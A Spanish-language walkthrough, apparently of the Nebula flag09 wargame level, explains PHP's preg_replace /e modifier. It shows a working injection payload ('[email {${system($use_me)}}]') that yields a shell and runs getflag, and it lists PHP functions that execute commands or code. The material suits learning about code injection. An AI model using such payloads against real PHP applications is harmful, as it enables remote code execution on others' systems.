Entonces el famoso preg_replace_eval_modifier nos dice que:

Si este modificador esta seteado, preg_replace() realiza la sustitución normal de backreferences en la cadena de reemplazo,
la evalúa como código PHP, y usa el resultado para la sustitución de la cadena de búsqueda. Las comillas simples, comillas dobles,
barras invertidas (\) y caracteres NULL serán escapados con backreferences en backreferences sustituidos.

Entonces vamos a ejecutar el código para fundamentar todo lo anterior:
Código: [ Debe registrarse para ver este enlace ]
echo "[email [email protected]]" > /tmp/myemail
[email protected]:/home/flag09$ cat /tmp/myemail
[email [email protected]]
./flag09 /tmp/myemail
PHP Notice:  Undefined offset: 2 in /home/flag09/flag09.php on line 22
julianstafari AT greydtosec dot com
Vemos que se ha cumplido lo dicho anteriormente y ya sin darle mas vueltas al asunto, en la función 'markup()', si se dieron cuenta
el segundo parámetro que pide '$use_me', jamas es utilizado dentro de la función no?. Solo se trabaja con el contenido que se lee
del fichero con file_get_contents($filename), el argumento no es mas que el primer que toma la funcion.
Entonces, si ponemos código PHP en el contenido del fichero para que lo lea nuestra función 'file_get_contents($filename);',
entonces técnicamente, 'preg_replace' cumplira su condicion con el eval_modifier y si utilizamos el segundo parámetro para obtener ventaja
podríamos hacer la acción que deseamos y poder obtener nuestra bandera:
Código: [ Debe registrarse para ver este enlace ]
echo "[email {${system($use_me)}}]" >> /tmp/codexec
chmod +x /tmp/codexec
./flag09 /tmp/codexec /bin/sh
sh-4.2$
sh-4.2$ getflag
You have successfully executed getflag on a target account
sh-4.2$ exit
Ahora, se preguntara algunas cosas que no voy a responder, solo diré que si ponen atencion en la linea
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
se darán cuenta por que no pusimos directamente el 'getflag' o '/bin/getflag' y también se puede utiliza no solo system, si no también

Shell Execute
  • system
  • exec
  • popen
  • backtick operator
  • pcntl_exec
  • PHP Execute
PHP Execute
  • eval
  • preg_replace (with /e modifier)
  • create_function
  • include[_once] / require[_once]
También pudimos haber echo esto:
Código: [ Debe registrarse para ver este enlace ]
./flag09 /tmp/codexec /bin/getflag
obteniendo el mismo resultado

Moraleja: Usar la documentación que nos brindan antes de decidir si utilizamos 'x' o 'y' función y cual nos conviene mas.